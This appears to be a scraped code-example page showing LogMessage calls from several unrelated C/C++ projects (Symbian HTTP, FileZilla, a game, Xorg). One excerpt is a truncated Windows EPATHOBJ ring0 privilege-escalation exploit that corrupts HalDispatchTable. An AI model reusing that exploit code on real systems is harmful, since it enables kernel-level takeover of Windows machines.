// MHTTPTransactionCallback interface functions
void CXmlHandler::MHFRunL(RHTTPTransaction aTransaction, const THTTPEvent& aEvent)
{
switch (aEvent.iStatus)
{
case THTTPEvent::EGotResponseHeaders:
{
iObserver.GIEStateChanged(eStateFoundServer);
iModel.iState = eStateFoundServer;
/*
Not interested in the received header
*/
}
break;
case THTTPEvent::EGotResponseBodyData:
{
#ifdef _INCREMENTAL_H
#else
/*
The non incremental version of the parser will just build
up a string of the data until the EReponseComplete code is
received. Then the string is sent to parser in one go
*/
RHTTPResponse response = aTransaction.Response();
MHTTPDataSupplier* bodyPtr = response.Body();
/*
Received data is appended to the existing block (if there is a block),
otherwise a new block is created
*/
TPtrC8 bodypart;
bodyPtr->GetNextDataPart(bodypart);
if (iQueryResponse == NULL)
{
iQueryResponse = HBufC8::NewL( bodypart.Length() );
}
else
{
const TInt newSize = iQueryResponse->Length() + bodypart.Length();
iQueryResponse = iQueryResponse->ReAllocL( newSize );
}
TPtr8 tmp = iQueryResponse->Des();
tmp.Append(bodypart);
bodyPtr->ReleaseData();
#endif
}
break;
case THTTPEvent::EResponseComplete:
{
iObserver.GIEStateChanged(eStateReceivedResponse);
iModel.iState = eStateReceivedResponse;
#ifdef _INCREMENTAL_H
#else
#ifdef LOG_RESONSE
LogMessage(iFs, KResponseFilename, *iQueryResponse);
#endif
/*
Data block ready. Parse and fill data model
*/
OneTripParse(iQueryResponse->Des(), iModel.iError, iModel.iResult, iModel.iItems);
#endif
CleanupQueryText();
iObserver.GIEStateChanged(eStateComplete);
iModel.iState = eStateComplete;
}
break;
case THTTPEvent::ESucceeded:
{
// transaction successful
// we do not do this in the response complete phase or error
// phase as it is nicer to break it up because if the parser
// is working non incrementally we have potientionally done
// a lot of work in the ReponseComplete phase
iObserver.GIEStateChanged(eStateComplete);
iModel.iState = eStateComplete;
}
break;
case THTTPEvent::EFailed:
{
// Transaction failed
MHFRunError(aEvent.iStatus, aTransaction, aEvent);
}
break;
default:
{
/*
All errors will fall through to the generic event handler
The only exceptional error handling is done when the soap
request itself fails and it reports an error
*/
MHFRunError(aEvent.iStatus, aTransaction, aEvent);
}
break;
//.........这里部分代码省略.........
开发者ID:Tumunu,项目名称:Mp,代码行数:101,代码来源:XmlHandler.cpp
示例2: LogMessage
int CControlSocket::ResetOperation(int nErrorCode)
{
LogMessage(Debug_Verbose, _T("CControlSocket::ResetOperation(%d)"), nErrorCode);
if (nErrorCode & FZ_REPLY_WOULDBLOCK)
{
LogMessage(::Debug_Warning, _T("ResetOperation with FZ_REPLY_WOULDBLOCK in nErrorCode (%d)"), nErrorCode);
}
if (m_pCurOpData && m_pCurOpData->holdsLock)
UnlockCache();
if (m_pCurOpData && m_pCurOpData->pNextOpData)
{
COpData *pNext = m_pCurOpData->pNextOpData;
m_pCurOpData->pNextOpData = 0;
delete m_pCurOpData;
m_pCurOpData = pNext;
if (nErrorCode == FZ_REPLY_OK ||
nErrorCode == FZ_REPLY_ERROR ||
nErrorCode == FZ_REPLY_CRITICALERROR)
{
return ParseSubcommandResult(nErrorCode);
}
else
return ResetOperation(nErrorCode);
}
if ((nErrorCode & FZ_REPLY_CRITICALERROR) == FZ_REPLY_CRITICALERROR)
LogMessage(::Error, _("Critical error"));
if (m_pCurOpData)
{
const enum Command commandId = m_pCurOpData->opId;
switch (commandId)
{
case cmd_none:
break;
case cmd_connect:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Connection attempt interrupted by user"));
else if (nErrorCode != FZ_REPLY_OK)
LogMessage(::Error, _("Could not connect to server"));
break;
case cmd_list:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Directory listing aborted by user"));
else if (nErrorCode != FZ_REPLY_OK)
LogMessage(::Error, _("Failed to retrieve directory listing"));
else
LogMessage(Status, _("Directory listing successful"));
break;
case cmd_transfer:
{
CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);
if (!pData->download && pData->transferInitiated)
{
if (!m_pCurrentServer)
LogMessage(__TFILE__, __LINE__, this, Debug_Warning, _T("m_pCurrentServer is 0"));
else
{
CDirectoryCache cache;
bool updated = cache.UpdateFile(*m_pCurrentServer, pData->remotePath, pData->remoteFile, true, CDirectoryCache::file, (nErrorCode == FZ_REPLY_OK) ? pData->localFileSize : -1);
if (updated)
m_pEngine->SendDirectoryListingNotification(pData->remotePath, false, true, false);
}
}
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Transfer aborted by user"));
else if (nErrorCode == FZ_REPLY_OK)
LogMessage(Status, _("File transfer successful"));
}
break;
default:
if ((nErrorCode & FZ_REPLY_CANCELED) == FZ_REPLY_CANCELED)
LogMessage(::Error, _("Interrupted by user"));
break;
}
delete m_pCurOpData;
m_pCurOpData = 0;
}
ResetTransferStatus();
SetWait(false);
if (m_invalidateCurrentPath)
{
m_CurrentPath.Clear();
m_invalidateCurrentPath = false;
}
return m_pEngine->ResetOperation(nErrorCode);
}
float Player::CalcDamage(int weapon_damage, int subcat, bool *critical)
{
const short FRACTION_MULTIPLIER = 10000; //This value determines how many decimals of a percent are kept for rolling damage tables.
const short FRACTION_FIXUP = 100;
float damage_bonus;
float damage_inflicted;
short critical_chance = 5 * FRACTION_FIXUP; //5%
short miss_chance = 5 * FRACTION_FIXUP; //5% , miss_chance of 0 = never miss.
//This calculates a different crit value for any class that should have critical targeting.
critical_chance += (short)
( (m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_CRITICAL_RATE, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
if(FRACTION_MULTIPLIER-critical_chance < 0)
{
critical_chance = 0; //100% crits, when you hit.
}
//TO-DO: compute miss_chance based on weapon skill + buffs
// Get Damage bonus by weapon type
switch(subcat)
{
case 100: // Beam
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_BEAM_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_BEAM_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
case 101: // Projectile
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_PROJECTILES_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_PROJECTILES_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
case 102: // Missiles
damage_bonus = 1.0f + m_Stats.GetStatType(STAT_MISSILE_DAMAGE, STAT_BUFF_MULT);
//can't call CalculateStat because STAT_BASE_VALUE = 0, and so any % modifiers would be lost
miss_chance -= (short)
( (m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_MULT)*FRACTION_MULTIPLIER) +
(m_Stats.GetStatType(STAT_MISSILE_ACCURACY, STAT_BUFF_VALUE)*FRACTION_FIXUP) );
break;
default:
LogMessage("ERROR: Weapon subcategory [%d] wrong for %s\n", subcat, Name());
damage_bonus = 0.0f;
break;
}
//find the base weapon damage, first have we got a critical or missed?
short to_hit = (rand() % FRACTION_MULTIPLIER) + 1;
float damage_fraction = 1.0f;
//This system rolls a number, and then determines which category of damage it falls into.
//It is still possible to miss with a 100% crit rate. It is possible to miss on a crit.
if (to_hit <= miss_chance)
{
//Weapon missed, damage zero
damage_bonus = 0;
}
else if (to_hit >= FRACTION_MULTIPLIER-critical_chance)
{
//Critical!! Double damage
damage_bonus = damage_bonus * 2.0f;
*critical = true;
}
//IMPLIED else: did normal damage.
//TO-DO: Put in fractional damage FOR BEAMS ONLY, and also DOTs for Chemical/Plasma damage.
//Now calculate the damage based on weapon base damage and bonus.
damage_inflicted = damage_fraction * (float)(weapon_damage) * damage_bonus;
return (damage_inflicted);
}
bool CControlSocket::SetFileExistsAction(CFileExistsNotification *pFileExistsNotification)
{
wxASSERT(pFileExistsNotification);
if (!m_pCurOpData || m_pCurOpData->opId != cmd_transfer)
{
LogMessage(__TFILE__, __LINE__, this, Debug_Info, _T("No or invalid operation in progress, ignoring request reply %f"), pFileExistsNotification->GetRequestID());
return false;
}
CFileTransferOpData *pData = static_cast<CFileTransferOpData *>(m_pCurOpData);
switch (pFileExistsNotification->overwriteAction)
{
case CFileExistsNotification::overwrite:
SendNextCommand();
break;
case CFileExistsNotification::overwriteNewer:
if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
SendNextCommand();
else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::overwriteSize:
/* First compare flags both size known but different, one size known and the other not (obviously they are different).
Second compare flags the remaining case in which we need to send command : both size unknown */
if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::overwriteSizeOrNewer:
if (!pFileExistsNotification->localTime.IsValid() || !pFileExistsNotification->remoteTime.IsValid())
SendNextCommand();
/* First compare flags both size known but different, one size known and the other not (obviously they are different).
Second compare flags the remaining case in which we need to send command : both size unknown */
else if ((pFileExistsNotification->localSize != pFileExistsNotification->remoteSize) || (pFileExistsNotification->localSize == -1))
SendNextCommand();
else if (pFileExistsNotification->download && pFileExistsNotification->localTime.IsEarlierThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else if (!pFileExistsNotification->download && pFileExistsNotification->localTime.IsLaterThan(pFileExistsNotification->remoteTime))
SendNextCommand();
else
{
if (pData->download)
{
wxString filename = pData->remotePath.FormatFilename(pData->remoteFile);
LogMessage(Status, _("Skipping download of %s"), filename.c_str());
}
else
{
LogMessage(Status, _("Skipping upload of %s"), pData->localFile.c_str());
}
ResetOperation(FZ_REPLY_OK);
}
break;
case CFileExistsNotification::resume:
if (pData->download && pData->localFileSize != -1)
pData->resume = true;
else if (!pData->download && pData->remoteFileSize != -1)
pData->resume = true;
SendNextCommand();
break;
case CFileExistsNotification::rename:
if (pData->download)
{
wxFileName fn = pData->localFile;
fn.SetFullName(pFileExistsNotification->newName);
pData->localFile = fn.GetFullPath();
wxLongLong size;
bool isLink;
if (CLocalFileSystem::GetFileInfo(pData->localFile, isLink, &size, 0, 0) == CLocalFileSystem::file)
pData->localFileSize = size.GetValue();
//.........这里部分代码省略.........
int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
HMODULE KernelHandle;
PULONG DispatchRedirect;
PULONG Interval;
ULONG SavedInterval;
RTL_PROCESS_MODULES ModuleInfo;
LogMessage(L_INFO, "\r--------------------------------------------------\n"
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
"\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
"\n");
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
Mutex = CreateMutex(NULL, FALSE, NULL);
DispatchRedirect = (PVOID) HalDispatchRedirect;
Interval = (PULONG) ShellCode;
SavedInterval = Interval[0];
TargetPid = GetCurrentProcessId();
LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);
// Lookup some system routines we require.
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
- (ULONG) KernelHandle
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I've created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, "Searching for an available stub address...");
// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
*DispatchRedirect & ~(PAGE_SIZE - 1),
GetLastError());
// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
return 1;
}
}
LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);
// This PATHRECORD must terminate the list and recover.
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next = NULL;
//.........这里部分代码省略.........
void
systemd_logind_release_fd(int _major, int _minor, int fd)
{
struct systemd_logind_info *info = &logind_info;
InputInfoPtr pInfo;
DBusError error;
DBusMessage *msg = NULL;
DBusMessage *reply = NULL;
dbus_int32_t major = _major;
dbus_int32_t minor = _minor;
int matches = 0;
if (!info->session || major == 0)
goto close;
/* Only release the fd if there is only 1 InputInfo left for this major
* and minor, otherwise other InputInfo's are still referencing the fd. */
pInfo = systemd_logind_find_info_ptr_by_devnum(xf86InputDevs, major, minor);
while (pInfo) {
matches++;
pInfo = systemd_logind_find_info_ptr_by_devnum(pInfo->next, major, minor);
}
if (matches > 1) {
LogMessage(X_INFO, "systemd-logind: not releasing fd for %u:%u, still in use\n", major, minor);
return;
}
LogMessage(X_INFO, "systemd-logind: releasing fd for %u:%u\n", major, minor);
dbus_error_init(&error);
msg = dbus_message_new_method_call("org.freedesktop.login1", info->session,
"org.freedesktop.login1.Session", "ReleaseDevice");
if (!msg) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
if (!dbus_message_append_args(msg, DBUS_TYPE_UINT32, &major,
DBUS_TYPE_UINT32, &minor,
DBUS_TYPE_INVALID)) {
LogMessage(X_ERROR, "systemd-logind: out of memory\n");
goto cleanup;
}
reply = dbus_connection_send_with_reply_and_block(info->conn, msg,
DBUS_TIMEOUT_USE_DEFAULT, &error);
if (!reply)
LogMessage(X_ERROR, "systemd-logind: failed to release device: %s\n",
error.message);
cleanup:
if (msg)
dbus_message_unref(msg);
if (reply)
dbus_message_unref(reply);
dbus_error_free(&error);
close:
if (fd != -1)
close(fd);
}
请发表评论